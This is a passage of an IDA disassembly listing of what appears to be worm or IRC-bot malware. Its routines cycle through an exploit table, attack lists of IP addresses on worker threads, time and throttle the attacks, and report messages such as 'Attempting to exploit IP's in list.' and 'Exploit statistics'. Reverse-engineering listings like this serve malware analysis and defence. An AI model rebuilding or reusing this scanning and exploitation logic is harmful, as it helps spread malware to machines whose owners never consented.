		add	eax, offset byte_41CCD0
		mov	[ebp+var_358], eax
		push	3Ah
		mov	eax, [ebp+var_62C]
		imul	eax, 3Ah
		add	eax, offset byte_41CCD0
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_341]
		push	eax
		call	sub_4105FB
		pop	ecx
		and	[ebp+var_296], 0
		lea	eax, [ebp+var_341]
		push	eax
		lea	eax, [ebp+var_51C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_4135BF
; ---------------------------------------------------------------------------


loc_4135BA:				; CODE XREF: sub_41349C+B0j
		jmp	loc_4134FE
; ---------------------------------------------------------------------------


loc_4135BF:				; CODE XREF: sub_41349C+54j
					; sub_41349C+11Cj
		lea	eax, [ebp+var_624]
		push	eax
		call	sub_40806A
		pop	ecx
		test	eax, eax
		jnz	short loc_4135E3
		push	[ebp+var_628]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_413AAB
; ---------------------------------------------------------------------------


loc_4135E3:				; CODE XREF: sub_41349C+132j
		mov	al, byte_41DE30
		mov	[ebp+var_20C], al
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_20B]
		rep stosd
		stosw
		stosb
		mov	al, byte_41DE30
		mov	[ebp+var_108], al
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_107]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_407F3D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41364D
		push	[ebp+var_628]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_413AAB
; ---------------------------------------------------------------------------


loc_41364D:				; CODE XREF: sub_41349C+19Cj
		push	[ebp+var_506]
		call	sub_404D10
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_413675
		push	[ebp+var_628]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_413AAB
; ---------------------------------------------------------------------------


loc_413675:				; CODE XREF: sub_41349C+1C4j
		cmp	[ebp+var_358], 0
		jz	loc_413782
		mov	eax, [ebp+var_358]
		mov	eax, [eax+32h]
		and	eax, 1
		test	eax, eax
		jz	loc_413782
		call	sub_4042FB
		mov	[ebp+var_644], eax
		cmp	[ebp+var_644], 0
		jz	short loc_4136B6
		mov	[ebp+var_296], 2
		jmp	short loc_4136C0
; ---------------------------------------------------------------------------


loc_4136B6:				; CODE XREF: sub_41349C+20Cj
		mov	[ebp+var_296], 3


loc_4136C0:				; CODE XREF: sub_41349C+218j
		movsx	eax, [ebp+var_36B]
		test	eax, eax
		jz	short loc_4136E5
		mov	eax, [ebp+var_358]
		mov	eax, [eax+32h]
		and	eax, 2
		test	eax, eax
		jnz	short loc_4136E5
		mov	[ebp+var_296], 1


loc_4136E5:				; CODE XREF: sub_41349C+22Dj
					; sub_41349C+23Dj
		movsx	eax, [ebp+var_37B]
		test	eax, eax
		jz	short loc_4136FA
		mov	[ebp+var_296], 2


loc_4136FA:				; CODE XREF: sub_41349C+252j
		movsx	eax, [ebp+var_37A]
		test	eax, eax
		jz	short loc_41370F
		mov	[ebp+var_296], 3


loc_41370F:				; CODE XREF: sub_41349C+267j
		cmp	[ebp+var_296], 3
		jnz	short loc_41372B
		cmp	[ebp+var_644], 0
		jz	short loc_41372B
		mov	[ebp+var_296], 2


loc_41372B:				; CODE XREF: sub_41349C+27Aj
					; sub_41349C+283j
		cmp	[ebp+var_296], 3
		jnz	short loc_413782
		mov	al, [ebp+var_36A]
		mov	[ebp+var_64C], al
		mov	al, [ebp+var_377]
		mov	[ebp+var_648], al
		mov	[ebp+var_36A], 1
		and	[ebp+var_377], 0
		push	0
		lea	eax, [ebp+var_502]
		push	eax
		call	sub_412F07
		pop	ecx
		pop	ecx
		mov	al, [ebp+var_64C]
		mov	[ebp+var_36A], al
		mov	al, [ebp+var_648]
		mov	[ebp+var_377], al


loc_413782:				; CODE XREF: sub_41349C+1E0j
					; sub_41349C+1F4j ...
		push	offset dword_41E2D8
		call	sub_409C6C
		pop	ecx
		push	[ebp+var_50E]
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		push	offset dword_41CE78
		mov	eax, [ebp+var_628]
		add	eax, 14h
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 14h
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		push	[ebp+var_50E]
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		mov	eax, [ebp+var_628]
		push	dword ptr [eax]
		push	offset dword_41CE40
		lea	eax, [ebp+var_502]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		cmp	[ebp+var_358], 0
		jnz	short loc_413807
		push	3E8h
		call	dword_41709C	; Sleep


loc_413807:				; CODE XREF: sub_41349C+35Ej
		and	[ebp+var_10C], 0
		call	sub_416B64	; clock
		mov	[ebp+var_35C], eax
		and	[ebp+var_4], 0


loc_41381D:				; CODE XREF: sub_41349C+3F9j
					; sub_41349C+44Bj ...
		mov	eax, [ebp+var_628]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_413847
		call	sub_416B64	; clock
		add	eax, [ebp+var_4]
		sub	eax, [ebp+var_35C]
		mov	ecx, [ebp+var_50E]
		imul	ecx, 3E8h
		cmp	eax, ecx
		jb	short loc_41384C


loc_413847:				; CODE XREF: sub_41349C+38Bj
		jmp	loc_413A43
; ---------------------------------------------------------------------------


loc_41384C:				; CODE XREF: sub_41349C+3A9j
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_407F3D
		add	esp, 0Ch
		push	offset dword_41EF48
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413897
		jmp	short loc_41381D
; ---------------------------------------------------------------------------


loc_413897:				; CODE XREF: sub_41349C+3F7j
		push	[ebp+var_8]
		push	0
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_404FE7
		add	esp, 0Ch
		push	eax
		call	sub_404D4D
		pop	ecx
		pop	ecx
		mov	[ebp+var_650], eax
		cmp	[ebp+var_650], 0
		jz	short loc_4138EC
		call	sub_416B64	; clock
		add	eax, [ebp+var_4]
		sub	eax, [ebp+var_35C]
		mov	ecx, [ebp+var_50E]
		imul	ecx, 3E8h
		cmp	eax, ecx
		jnb	short loc_4138EC
		jmp	loc_41381D
; ---------------------------------------------------------------------------


loc_4138EC:				; CODE XREF: sub_41349C+42Bj
					; sub_41349C+449j
		push	[ebp+var_50A]
		call	dword_41709C	; Sleep
		push	[ebp+var_8]
		call	sub_404E1C
		pop	ecx
		test	eax, eax
		jz	loc_413A35


loc_413909:				; CODE XREF: sub_41349C+4BAj
					; sub_41349C:loc_413A30j
		push	[ebp+var_8]
		call	sub_404F24
		pop	ecx
		mov	[ebp+var_654], eax
		cmp	[ebp+var_654], 0
		jnz	short loc_413926
		jmp	loc_413A35
; ---------------------------------------------------------------------------


loc_413926:				; CODE XREF: sub_41349C+483j
		mov	eax, [ebp+var_10C]
		inc	eax
		mov	[ebp+var_10C], eax
		cmp	[ebp+var_358], 0
		jz	short loc_4139B7
		push	14Ch
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_658], eax
		cmp	[ebp+var_658], 0
		jnz	short loc_413958
		jmp	short loc_413909
; ---------------------------------------------------------------------------


loc_413958:				; CODE XREF: sub_41349C+4B8j
		push	14Ch
		lea	eax, [ebp+var_358]
		push	eax
		push	[ebp+var_658]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_658]
		mov	ecx, [ebp+var_654]
		mov	[eax+3Eh], ecx
		push	[ebp+var_658]
		push	offset sub_41331E
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4139A5
		push	[ebp+var_658]
		call	sub_416B4C	; free
		pop	ecx
		jmp	short loc_4139B5
; ---------------------------------------------------------------------------


loc_4139A5:				; CODE XREF: sub_41349C+4F9j
		push	[ebp+var_8]
		push	[ebp+var_654]
		call	sub_404D9B
		pop	ecx
		pop	ecx


loc_4139B5:				; CODE XREF: sub_41349C+507j
		jmp	short loc_413A30
; ---------------------------------------------------------------------------


loc_4139B7:				; CODE XREF: sub_41349C+49Ej
		mov	eax, [ebp+var_628]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4139C5
		jmp	short loc_413A35
; ---------------------------------------------------------------------------


loc_4139C5:				; CODE XREF: sub_41349C+525j
		lea	eax, [ebp+var_75C]
		push	eax
		push	[ebp+var_654]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		mov	al, [ebp+var_36A]
		mov	[ebp+var_65C], al
		and	[ebp+var_36A], 0
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_75C]
		push	eax
		push	offset dword_41CE2C
		lea	eax, [ebp+var_502]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		mov	al, [ebp+var_65C]
		mov	[ebp+var_36A], al
		push	3E8h
		call	dword_41709C	; Sleep
		mov	eax, [ebp+var_4]
		add	eax, 3E8h
		mov	[ebp+var_4], eax


loc_413A30:				; CODE XREF: sub_41349C:loc_4139B5j
		jmp	loc_413909
; ---------------------------------------------------------------------------


loc_413A35:				; CODE XREF: sub_41349C+467j
					; sub_41349C+485j ...
		push	[ebp+var_8]
		call	sub_404F7D
		pop	ecx
		jmp	loc_41381D
; ---------------------------------------------------------------------------


loc_413A43:				; CODE XREF: sub_41349C:loc_413847j
		push	[ebp+var_10C]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_35C]
		mov	dword ptr [ebp+var_764], eax
		and	dword ptr [ebp+var_764+4], 0
		fild	[ebp+var_764]
		fdiv	flt_417270
		push	ecx
		push	ecx
		fstp	[esp+774h+var_774]
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		push	offset unk_41CDE8
		lea	eax, [ebp+var_502]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		push	[ebp+var_8]
		call	sub_404FD0
		pop	ecx
		push	[ebp+var_628]
		call	sub_409763
		pop	ecx
		xor	eax, eax


loc_413AAB:				; CODE XREF: sub_41349C+142j
					; sub_41349C+1ACj ...
		pop	edi
		leave
		retn	4
sub_41349C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413AB0	proc near		; CODE XREF: sub_40A9CF+BCBp

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		cmp	[ebp+arg_4], 0
		jz	short loc_413AC2
		cmp	[ebp+arg_8], 0
		jnz	short loc_413AC7


loc_413AC2:				; CODE XREF: sub_413AB0+Aj
		jmp	locret_413CB1
; ---------------------------------------------------------------------------


loc_413AC7:				; CODE XREF: sub_413AB0+10j
		push	[ebp+arg_8]
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_413AEB
		push	[ebp+arg_8]
		call	sub_40422A
		pop	ecx
		test	eax, eax
		jnz	short loc_413AE9
		jmp	locret_413CB1
; ---------------------------------------------------------------------------


loc_413AE9:				; CODE XREF: sub_413AB0+32j
		jmp	short loc_413B45
; ---------------------------------------------------------------------------


loc_413AEB:				; CODE XREF: sub_413AB0+25j
		and	[ebp+var_14], 0
		jmp	short loc_413AF8
; ---------------------------------------------------------------------------


loc_413AF1:				; CODE XREF: sub_413AB0:loc_413B43j
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax


loc_413AF8:				; CODE XREF: sub_413AB0+3Fj
		mov	eax, [ebp+var_14]
		imul	eax, 3Ah
		movsx	eax, byte_41CCD0[eax]
		test	eax, eax
		jnz	short loc_413B0E
		jmp	locret_413CB1
; ---------------------------------------------------------------------------


loc_413B0E:				; CODE XREF: sub_413AB0+57j
		mov	eax, [ebp+var_14]
		imul	eax, 3Ah
		add	eax, offset byte_41CCD0
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413B43
		jmp	short loc_413B45
; ---------------------------------------------------------------------------


loc_413B43:				; CODE XREF: sub_413AB0+8Fj
		jmp	short loc_413AF1
; ---------------------------------------------------------------------------


loc_413B45:				; CODE XREF: sub_413AB0:loc_413AE9j
					; sub_413AB0+91j
		cmp	[ebp+arg_C], 0
		jz	short loc_413B59
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_2C], eax
		jmp	short loc_413B60
; ---------------------------------------------------------------------------


loc_413B59:				; CODE XREF: sub_413AB0+99j
		mov	[ebp+var_2C], 15180h


loc_413B60:				; CODE XREF: sub_413AB0+A7j
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_413B75
		cmp	[ebp+var_4], 15180h
		jbe	short loc_413B7C


loc_413B75:				; CODE XREF: sub_413AB0+BAj
		mov	[ebp+var_4], 15180h


loc_413B7C:				; CODE XREF: sub_413AB0+C3j
		cmp	[ebp+arg_10], 0
		jz	short loc_413B90
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_30], eax
		jmp	short loc_413B97
; ---------------------------------------------------------------------------


loc_413B90:				; CODE XREF: sub_413AB0+D0j
		mov	[ebp+var_30], 7D0h


loc_413B97:				; CODE XREF: sub_413AB0+DEj
		mov	eax, [ebp+var_30]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 32h
		jb	short loc_413BAC
		cmp	[ebp+var_C], 0EA60h
		jbe	short loc_413BB3


loc_413BAC:				; CODE XREF: sub_413AB0+F1j
		mov	[ebp+var_C], 7D0h


loc_413BB3:				; CODE XREF: sub_413AB0+FAj
		cmp	[ebp+arg_14], 0
		jz	short loc_413BC7
		push	[ebp+arg_14]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_34], eax
		jmp	short loc_413BCE
; ---------------------------------------------------------------------------


loc_413BC7:				; CODE XREF: sub_413AB0+107j
		mov	[ebp+var_34], 100h


loc_413BCE:				; CODE XREF: sub_413AB0+115j
		mov	eax, [ebp+var_34]
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_413BE3
		cmp	[ebp+var_10], 200h
		jbe	short loc_413BEA


loc_413BE3:				; CODE XREF: sub_413AB0+128j
		mov	[ebp+var_10], 100h


loc_413BEA:				; CODE XREF: sub_413AB0+131j
		push	2C9h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_413C03
		jmp	locret_413CB1
; ---------------------------------------------------------------------------


loc_413C03:				; CODE XREF: sub_413AB0+14Cj
		push	108h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_8]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	0Eh
		push	[ebp+arg_8]
		mov	eax, [ebp+var_8]
		add	eax, 10Ch
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		mov	[eax+11Ah], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	[eax+11Eh], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		mov	[eax+122h], ecx
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		add	eax, 126h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+var_10]
		push	[ebp+var_C]
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+11Ah]
		mov	eax, [ebp+var_8]
		add	eax, 10Ch
		push	eax
		mov	eax, [ebp+var_8]
		add	eax, 4
		push	eax
		push	offset unk_41CEA4
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_8]
		push	offset sub_41349C
		call	sub_4095A4
		add	esp, 24h

locret_413CB1:				; CODE XREF: sub_413AB0:loc_413AC2j
					; sub_413AB0+34j ...
		leave
		retn
sub_413AB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413CB3	proc near		; DATA XREF: sub_413FE7+5Co

var_49C		= dword	ptr -49Ch
var_498		= byte ptr -498h
var_494		= byte ptr -494h
var_490		= dword	ptr -490h
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= byte ptr -47Ch
var_469		= byte ptr -469h
var_3BE		= dword	ptr -3BEh
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= byte ptr -32Ch
var_1AC		= byte ptr -1ACh
var_25		= byte ptr -25h
var_24		= byte ptr -24h
var_21		= byte ptr -21h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		push	327h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_330]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		mov	eax, [ebp+var_330]
		push	dword ptr [eax]
		push	offset unk_41CF50
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		and	[ebp+var_334], 0
		and	[ebp+var_484], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		lea	eax, [ebp+var_32C]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_8], eax


loc_413D21:				; CODE XREF: sub_413CB3:loc_413FA8j
		mov	eax, [ebp+var_334]
		inc	eax
		mov	[ebp+var_334], eax
		and	[ebp+var_488], 0
		jmp	short loc_413D44
; ---------------------------------------------------------------------------


loc_413D37:				; CODE XREF: sub_413CB3+23Bj
					; sub_413CB3:loc_413F77j
		mov	eax, [ebp+var_488]
		inc	eax
		mov	[ebp+var_488], eax


loc_413D44:				; CODE XREF: sub_413CB3+82j
		mov	eax, [ebp+var_488]
		imul	eax, 3Ah
		cmp	off_41CCFE[eax], 0
		jz	loc_413F7C
		push	3Ah
		mov	eax, [ebp+var_488]
		imul	eax, 3Ah
		add	eax, offset byte_41CCD0
		push	eax
		lea	eax, [ebp+var_47C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_488]
		imul	eax, 3Ah
		add	eax, offset byte_41CCD0
		mov	[ebp+var_480], eax
		lea	eax, [ebp+var_47C]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_469]
		push	eax
		call	sub_4105FB
		pop	ecx
		cmp	[ebp+var_480], 0
		jz	loc_413E9A
		mov	eax, [ebp+var_480]
		mov	eax, [eax+32h]
		and	eax, 1
		test	eax, eax
		jz	loc_413E9A
		call	sub_4042FB
		mov	[ebp+var_490], eax
		cmp	[ebp+var_490], 0
		jz	short loc_413DE9
		mov	[ebp+var_3BE], 2
		jmp	short loc_413DF3
; ---------------------------------------------------------------------------


loc_413DE9:				; CODE XREF: sub_413CB3+128j
		mov	[ebp+var_3BE], 3


loc_413DF3:				; CODE XREF: sub_413CB3+134j
		movsx	eax, [ebp+var_15]
		test	eax, eax
		jz	short loc_413E15
		mov	eax, [ebp+var_480]
		mov	eax, [eax+32h]
		and	eax, 2
		test	eax, eax
		jnz	short loc_413E15
		mov	[ebp+var_3BE], 1


loc_413E15:				; CODE XREF: sub_413CB3+146j
					; sub_413CB3+156j
		movsx	eax, [ebp+var_25]
		test	eax, eax
		jz	short loc_413E27
		mov	[ebp+var_3BE], 2


loc_413E27:				; CODE XREF: sub_413CB3+168j
		movsx	eax, [ebp+var_24]
		test	eax, eax
		jz	short loc_413E39
		mov	[ebp+var_3BE], 3


loc_413E39:				; CODE XREF: sub_413CB3+17Aj
		cmp	[ebp+var_3BE], 3
		jnz	short loc_413E55
		cmp	[ebp+var_490], 0
		jz	short loc_413E55
		mov	[ebp+var_3BE], 2


loc_413E55:				; CODE XREF: sub_413CB3+18Dj
					; sub_413CB3+196j
		cmp	[ebp+var_3BE], 3
		jnz	short loc_413E9A
		mov	al, [ebp+var_14]
		mov	[ebp+var_498], al
		mov	al, [ebp+var_21]
		mov	[ebp+var_494], al
		mov	[ebp+var_14], 1
		and	[ebp+var_21], 0
		push	0
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_412F07
		pop	ecx
		pop	ecx
		mov	al, [ebp+var_498]
		mov	[ebp+var_14], al
		mov	al, [ebp+var_494]
		mov	[ebp+var_21], al


loc_413E9A:				; CODE XREF: sub_413CB3+FCj
					; sub_413CB3+110j ...
		movsx	eax, [ebp+var_13]
		neg	eax
		sbb	eax, eax
		and	eax, 1388h
		add	eax, 1388h
		push	eax
		push	0
		lea	eax, [ebp+var_469]
		push	eax
		push	[ebp+var_8]
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_48C], eax
		cmp	[ebp+var_48C], 0
		jz	loc_413F77
		push	14Ch
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_49C], eax
		cmp	[ebp+var_49C], 0
		jnz	short loc_413EF3
		jmp	loc_413D37
; ---------------------------------------------------------------------------


loc_413EF3:				; CODE XREF: sub_413CB3+239j
		push	14Ch
		lea	eax, [ebp+var_480]
		push	eax
		push	[ebp+var_49C]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_484]
		inc	eax
		mov	[ebp+var_484], eax
		mov	eax, [ebp+var_49C]
		mov	ecx, [ebp+var_48C]
		mov	[eax+3Eh], ecx
		push	[ebp+var_49C]
		push	offset sub_41331E
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413F59
		push	[ebp+var_48C]
		call	sub_4053B1
		pop	ecx
		push	[ebp+var_49C]
		call	sub_416B4C	; free
		pop	ecx
		jmp	short loc_413F77
; ---------------------------------------------------------------------------


loc_413F59:				; CODE XREF: sub_413CB3+28Aj
		lea	eax, [ebp+var_47C]
		push	eax
		push	[ebp+var_8]
		push	offset dword_41CF20
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_413F77:				; CODE XREF: sub_413CB3+21Bj
					; sub_413CB3+2A4j
		jmp	loc_413D37
; ---------------------------------------------------------------------------


loc_413F7C:				; CODE XREF: sub_413CB3+A1j
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_413F9A
		jmp	short loc_413FAD
; ---------------------------------------------------------------------------


loc_413F9A:				; CODE XREF: sub_413CB3+2E3j
		mov	eax, [ebp+var_330]
		cmp	dword ptr [eax+4], 0
		jz	short loc_413FA8
		jmp	short loc_413FAD
; ---------------------------------------------------------------------------


loc_413FA8:				; CODE XREF: sub_413CB3+2F1j
		jmp	loc_413D21
; ---------------------------------------------------------------------------


loc_413FAD:				; CODE XREF: sub_413CB3+2E5j
					; sub_413CB3+2F3j
		push	[ebp+var_334]
		push	[ebp+var_484]
		mov	eax, [ebp+var_330]
		push	dword ptr [eax]
		push	offset dword_41CEDC
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		push	[ebp+var_330]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_413CB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413FE7	proc near		; CODE XREF: sub_40A9CF+B5Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_413FF3
		jmp	short locret_414050
; ---------------------------------------------------------------------------


loc_413FF3:				; CODE XREF: sub_413FE7+8j
		push	327h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414009
		jmp	short locret_414050
; ---------------------------------------------------------------------------


loc_414009:				; CODE XREF: sub_413FE7+1Ej
		push	180h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 184h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	offset aAttemptingToEx ; "Attempting to	exploit	IP's in list."
		push	0
		push	[ebp+var_4]
		push	offset sub_413CB3
		call	sub_4095A4
		add	esp, 10h

locret_414050:				; CODE XREF: sub_413FE7+Aj
					; sub_413FE7+20j
		leave
		retn
sub_413FE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414052	proc near		; DATA XREF: sub_41417D+35o

var_3C0		= dword	ptr -3C0h
var_3BC		= byte ptr -3BCh
var_225		= byte ptr -225h
var_224		= byte ptr -224h
var_218		= byte ptr -218h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3C0h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	offset aExploitStatist ; "Exploit statistics - "
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		and	[ebp+var_204], 0
		jmp	short loc_4140A4
; ---------------------------------------------------------------------------


loc_414097:				; CODE XREF: sub_414052:loc_41414Aj
		mov	eax, [ebp+var_204]
		inc	eax
		mov	[ebp+var_204], eax


loc_4140A4:				; CODE XREF: sub_414052+43j
		mov	eax, [ebp+var_204]
		imul	eax, 3Ah
		movsx	eax, byte_41CCD0[eax]
		test	eax, eax
		jz	loc_41414F
		push	12h
		mov	eax, [ebp+var_204]
		imul	eax, 3Ah
		add	eax, offset byte_41CCD0
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_218]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_204]
		imul	eax, 3Ah
		push	dword_41CCFA[eax]
		push	offset dword_41CFA4
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		lea	eax, [ebp+eax+var_200]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		movsx	eax, [ebp+var_225]
		test	eax, eax
		jz	short loc_41414A
		mov	eax, [ebp+var_204]
		imul	eax, 3Ah
		and	dword_41CCFA[eax], 0


loc_41414A:				; CODE XREF: sub_414052+E6j
		jmp	loc_414097
; ---------------------------------------------------------------------------


loc_41414F:				; CODE XREF: sub_414052+64j
		and	[ebp+var_224], 0
		lea	eax, [ebp+var_200]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx
		push	[ebp+var_3C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_414052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41417D	proc near		; CODE XREF: sub_40A9CF+BF4p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414197
		jmp	short locret_4141BF
; ---------------------------------------------------------------------------


loc_414197:				; CODE XREF: sub_41417D+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aListingExploit ; "Listing exploit statistics"
		push	0
		push	[ebp+var_4]
		push	offset sub_414052
		call	sub_4095A4
		add	esp, 10h

locret_4141BF:				; CODE XREF: sub_41417D+18j
		leave
		retn
sub_41417D	endp


